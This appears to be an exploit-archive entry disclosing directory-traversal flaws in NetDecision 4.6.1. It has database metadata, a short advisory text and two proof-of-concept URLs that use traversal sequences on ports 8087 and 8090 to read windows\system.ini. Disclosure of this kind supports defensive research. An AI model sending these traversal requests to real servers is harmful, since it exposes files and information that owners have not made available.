NetDecision 4.6.1 - Multiple Directory Traversal Vulnerabilities

Author: Luigi Auriemma
type: remote
platform: windows
port: 
date_added: 2012-03-07 
date_updated: 2015-05-06 
verified: 1 
codes: OSVDB-79863 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/52327/info

NetDecision is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

NetDecision 4.6.1 is vulnerable; other versions may also be affected.

http://www.example.com:8087/...\...\...\...\...\...\windows\system.ini
http://www.example.com:8090/.../.../.../.../.../.../windows/system.ini